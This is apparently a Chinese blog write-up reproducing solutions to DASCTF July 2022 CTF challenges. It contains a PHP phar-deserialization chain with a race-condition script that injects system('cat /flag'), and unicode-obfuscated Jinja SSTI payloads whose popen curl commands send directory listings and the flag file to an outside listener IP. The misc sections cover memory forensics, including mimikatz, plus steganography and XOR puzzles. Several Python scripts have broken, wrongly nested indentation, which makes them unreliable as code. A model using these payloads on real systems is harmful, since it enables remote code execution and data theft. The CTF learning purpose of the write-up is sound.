DASCTF部分复现

DASCTF|2022DASCTF7月赋能赛官方Write Up

WEB

Ez to getflag

非预期直接/flag

预期

打开页面发现页面有读取和上传功能,读取页面可以直接获取源码,把源码扒下来

代码审计,先看到实现文件读取功能的代码,class.php中的Show类的show方法

public function show(){
    if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
        die('illegal fname :P');
    } else {
        echo file_get_contents($this->source);
        $src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
        echo "<img src={$src} />";
    }
}

这里的过滤没有过滤phar协议,配合文件上传的功能可以进行phar文件反序列化,又看到Show类里还有个backdoor方法,可以进行文件包含,基本确定最终是要调用这个方法

 
public function backdoor($door){
    include($door);
    echo "hacked!!";
}
审计实现文件上传功能的代码,class.php中的Upload类为文件上传的实现

class Upload {
  public $f;
  public $fname;
  public $fsize;
  function __construct(){
    $this->f = $_FILES;
  }
  function savefile() {  
    $fname = md5($this->f["file"]["name"]).".png"; 
    if(file_exists('./upload/'.$fname)) { 
      @unlink('./upload/'.$fname);
    }
    move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname); 
    echo "upload success! :D"; 
  } 
  function __toString(){
    $cont = $this->fname;
    $size = $this->fsize;
    echo $cont->$size;
    return 'this_is_upload';
  }
  function uploadfile() { 
    if($this->file_check()) { 
      $this->savefile(); 
    } 
  }
  function file_check() { 
    $allowed_types = array("png");
    $temp = explode(".",$this->f["file"]["name"]);
    $extension = end($temp); 
    if(empty($extension)) { 
      echo "what are you uploaded? :0";
      return false;
    }
    else{ 
      if(in_array($extension,$allowed_types)) {
        $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
        $f = file_get_contents($this->f["file"]["tmp_name"]);
        if(preg_match_all($filter,$f)){
          echo 'what are you doing!! :C';
          return false;
        }
        return true; 
      } 
      else { 
        echo 'png onlyyy! XP'; 
        return false; 
      } 
    }
  }
    }
 

看到文件上传之后在存储到upload目录之前调用file_check进行了过滤,文件后缀限制为png,并且对文件内容进行了检查,不允许以下内容出现

$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';

方式压缩后依然可以使用phar协议进行解析的特性,传一个压缩过后的phar文件进去

file_check执行完后才又调用了savefile,把文件存储在upload目录并更名为原文件名的md5值

构造pop链

<?php
class Upload{
    public $fname;
    public $fsize;  
}
class Show{
    public $source;
}
class Test{
    public $str;
}

$upload = new Upload();
$show = new Show();
$test = new Test();
$test->str = $upload;
$upload->fname=$show;
$upload->fsize='/tmp/sess_chaaa';
// $test->str = 'okkkk';

@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

压缩为gzip压缩包并改后缀名上传该phar文件 利用php的session上传进度以及文件上传的条件竞争进行文件包含 编写python脚本进行文件包含,脚本如下

import sys,threading,requests,re
from hashlib import md5

HOST = sys.argv[1]
PORT = sys.argv[2]

flag=''
check=True
# 触发phar文件反序列化去包含session上传进度文件
def include(fileurl,s):
    global check,flag
    while check:
        fname = md5('shell.png'.encode('utf-8')).hexdigest()+'.png'
        params = {
            'f': 'phar://upload/'+fname
        }
        res = s.get(url=fileurl, params=params)
        if "working" in res.text:
            flag = re.findall('upload_progress_working(DASCTF{.+})',res.text)[0]
            check = False
            
            # 利用session.upload.progress写入临时文件
            def sess_upload(url,s):
                global check
                while check:
                    data={
                        'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working',system('cat /flag');?>\"); ?>"
                    }
                    cookies={
                        'PHPSESSID': 'chaaa'
                    }
                    files={
                        'file': ('chaaa.png', b'cha'*300)
                    }
                    s.post(url=url,data=data,cookies=cookies,files=files)
                    
                    
                    
                    def exp(ip, port):
                        url = "http://"+ip+":"+port+"/"
                        fileurl = url+'file.php'
                        uploadurl = url+'upload.php'
                        
                        num = threading.active_count()
                        # 上传phar文件
                        file = {'file': open('./shell.png', 'rb')}
                        ret = requests.post(url=uploadurl, files=file)
                        # 文件上传条件竞争获取flag
                        event=threading.Event()
                        s1 = requests.Session()
                        s2 = requests.Session()
                        for i in range(1,10):
                            threading.Thread(target=sess_upload,args=(uploadurl,s1)).start()
                            for i in range(1,10):
                                threading.Thread(target=include,args=(fileurl,s2,)).start()
                                event.set()
                                while threading.active_count() != num:
                                    pass
                                
                                if __name__ == '__main__':
                                    exp(HOST, PORT)
    print(flag)

Harddisk

题目是一个输入框

经测试,存在 SSTI 注入,但是过滤的很严,fuzz一下

}}, {{, ], [, ], \,  , +, _, ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, url_for, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headers

过滤了大括号 {{,我们可以用 {%print(......)%} 或 {% if ... %}1{% endif %} 的形式来代替,但是题目还过滤了 print 关键字,所以前者用不了了,只能用 {% if ... %}success{% endif %} 的形式来bypass了。但是这样的话payload执行成功后只会输出中间的"success"而不会输出执行的结果的,所以我们要用外带数据的方法来得到payload执行的结果。

由于还过滤了像 ]、_、request 这类常用的字符和关键字,我们可以用 attr() 配合 unicode 编码的方法绕过,类似如下:

{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"))%}success{%endif%}    # {%if("".__class__)%}success{%endif%}

确定了bypass的方法,下面我们就要寻找可以执行命令的类了,这里我们寻找含有 “popen” 方法的类遍历脚本:

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://your-ip:8081/"
    payload = {"nickname":'{%if(""|attr("\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(0)|attr("\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f")()|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(' + str(i) + ')|attr("\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")("\\u0070\\u006f\\u0070\\u0065\\u006e"))%}success{%endif%}'}
    
    res = requests.post(url=url, headers=headers, data=payload)
    if 'success' in res.text:
        print(i)
        
# 输出: 133

找到第133个子类含有 “popen” 方法,然后构造payload执行命令看看根目录里的文件:

{%if("".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["popen"]("curl 47.xxx.xxx.72:2333 -d \"`ls /`\"").read())%}success{%endif%}  -->>  

{%if(""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")(133)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen")("curl 47.xxx.xxx.72:2333 -d \"`ls /`\"")|attr("read")())%}success{%endif%}  -->> 

# unicode 编码:
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u006c\u0073\u0020\u002f`\"")|attr("\u0072\u0065\u0061\u0064")())%}1{%endif%}    # curl 47.xxx.xxx.72:2333 -d \"`ls /`\"

改一ip但我没拦截出来可能服务器被关了,用官方的截图

vps上开启监听:

发送 payload 后,vps上成功接收到了执行结果

读取flag:

{%if("".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["popen"]("curl 47.xxx.xxx.72:2333 -d \"`cat /f1agggghere`\"").read())%}success{%endif%}  
-->>  


{%if(""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")(133)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen")("curl 47.xxx.xxx.72:2333 -d \"`cat /f1agggghere`\"")|attr("read")())%}success{%endif%}  -->> 
# unicode 编码:

{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u0063\u0061\u0074\u0020\u002f\u0066\u0031\u0061\u0067\u0067\u0067\u0067\u0068\u0065\u0072\u0065`\"")|attr("\u0072\u0065\u0061\u0064")())%}1{%endif%}    # curl 47.xxx.xxx.72:2333 -d \"`cat /f1agggghere`\"

MISC

Colorful Strips

放到stegsolve发现有看到杂乱的像素点:说明这些区域必然存在内容,但因为JPEG是有损压缩,其算法导致无法从渲染后的像素RGB颜色中准确还原原始内容。

用脚本处理一下

from turbojpeg import TurboJPEG
from PIL import Image

jpeg = TurboJPEG()

in_file = open('flag.jpg', 'rb')
buffer_array, plane_sizes = jpeg.decode_to_yuv(in_file.read())
in_file.close()

img = Image.new('RGB', (900, 900))
for y in range(900):
    for x in range(900):
        i = y * 900 + x
        img.putpixel((x, y), (buffer_array[i], buffer_array[i+810000], buffer_array[i+1620000]))
img.save('res.png')

ez_forensics

下载附件得到一个pc.vmdk文件和一个pc.raw文件,一个是磁盘文件一个是内存文件。首先利用FTK挂载一下vmdk文件,得到加密的磁盘

再去看raw文件

volatility -f pc.raw imageinfo 查看镜像信息

volatility -f pc.raw --profile=Win7SP1x64 pstree 查看进程

根据进程里的cmd.exe,cmdscan看看命令行输入了什 么

volatility -f pc.raw --profile=Win7SP1x64 cmdscan

说有一个特殊的截屏,去找截屏

volatility -f pc.raw --profile=Win7SP1x64 screenshot -D ./

可以发现桌面上打开过一个文件,看文件名可知是一个关键文件:thes3cret

尝试filescan一下这个文件

volatility -f pc.raw --profile=Win7SP1x64 filescan | grep thes3cret

然后dumpfiles出来

volatility -f pc.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003eeb4650 -D ./

提取出来发现是一个文本文件看着像base64解密一下

解密后发现是salted开头,应该是aes,再去pc.raw找key,先用disgenius挂载,发现有bitlocker加密

再用ftk挂载

用EFDD解密


这个是.raw文件,解密成功得到key

用diskgenius解密

得到两个文件flag.txt里没有东西,看zip里的东西,有一个png文件,发现里面有zip将它提出来

发现有密码还有一段注释,说在电脑用户登录密码

再去pc.raw找密码

volatility -f pc.raw --profile=Win7SP1x64 mimikatz

得到密码解开压缩包得到一串8进制转换一下

key就是我们的aes的key解密得到flag

听说你是个侦探

直接文件名异或

hex1 = "7955d0e35c55b93c6aac27879130ae894d30b9180b0579bb0a4339d543aa6b"
hex2 = "1826b3973a2ec0531fd246f5f41defa42e51cb7d6d7015e45a2656a52fcf16"


a = bytes.fromhex(hex1)
b = bytes.fromhex(hex2)

print(bytes([i ^ j for i,j in zip(a,b)]))


#asctf{you~are-A-careful_People}

哆来咪发唆拉西哆

得到一个音谱,看不懂,binwalk一下

得到一串数字看不懂

继续查看pdf本身,发现有关键字

因为whatisthis里头的数字,有的很大,我们尝试生成一个小数点长度在10000的圆周率出来,看看能得到什么,圆周率生成的脚本用的是下面这个网址的大佬的脚本

【python圆周率计算】python计算圆周率π的值到任意位_东华果汁哥的博客-CSDN博客_python圆周率代码

拿星爷的脚本

# -*- coding: utf-8 -*-
from __future__ import division
from array import array
from tqdm import tqdm
import time
# 圆周率生成脚本来自 https://blog.csdn.net/u013421629/article/details/72640062
def makepi(number):
    time1=time.time()
    ################算法根据马青公式计算圆周率####################
    
    # number = int(raw_input('请输入想要计算到小数点后的位数n:'))
    # number=10000+30
    
    # 多计算10位,防止尾数取舍的影响
    number1 = number+10
    
    # 算到小数点后number1位
    b = 10**number1
    
    # 求含4/5的首项
    x1 = b*4//5
    # 求含1/239的首项
    x2 = b// -239
    
    # 求第一大项
    he = x1+x2
    #设置下面循环的终点,即共计算n项
    number *= 2
    
    #循环初值=3,末值2n,步长=2
    for i in tqdm(range(3,number,2)):
        # 求每个含1/5的项及符号
        x1 //= -25
        # 求每个含1/239的项及符号
        x2 //= -57121
        # 求两项之和
        x = (x1+x2) // i
        # 求总和
        he += x
        
        # 求出π
        pai = he*4
        #舍掉后十位
        pai //= 10**10
        
        ############ 输出圆周率π的值
        paistring=str(pai)
        result=paistring[0]+str('.')+paistring[1:len(paistring)]
        # print (result)
        # flag=result[-30:]
        
        # print('flag is DASCTF{{{}}}'.format(flag))
        # open('pi.txt','w').write(result)
        return result
    
    # makepi(10000)
    
    # 比较每组中相同的数,输出
    def diff(array:list,x:int):
        equals = ""
        array = list(map(int,array))
        for i in range(x):
            if ( (pi[array[0]:array[0]+i+1] == pi[array[1]:array[1]+i+1]) & (pi[array[0]:array[0]+i+1] == pi[array[2]:array[2]+i+1]) & (pi[array[0]:array[0]+i+1] == pi[array[3]:array[3]+i+1])) :
                equals += (pi[array[0]:array[0]+i+1])
            else:
                return equals[len(equals)//2:]
            
            if __name__ == "__main__":
                from Crypto.Util.number import long_to_bytes
                # 获取pi前1万位
                pi = makepi(10000)
                # 把what is this中的数据按行读取
                arrays=[]
                with open('whatisthis.txt','r') as f:
                    for line in f:
                        arrays.append(list(line.replace(' ','')[1:-2].strip('\n').split(',')))
                        # 将结果保存为图片
                        f_jpg = open("flag.jpg",'wb')
                        for i in tqdm(arrays):
                            f_jpg.write(long_to_bytes(int(diff(i,10),10)))
    f_jpg.close()

得到一张图

可以知道flag是圆周率小数点后10000到10030位数字

p1=pi.makepi(10000+30)  #根据提示,flag是pi的一万位后的30位
flag='DASCTF{{{}}}'.format(p1[-30:])
print(flag)
DASCTF{566722796619885782794848855834}
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值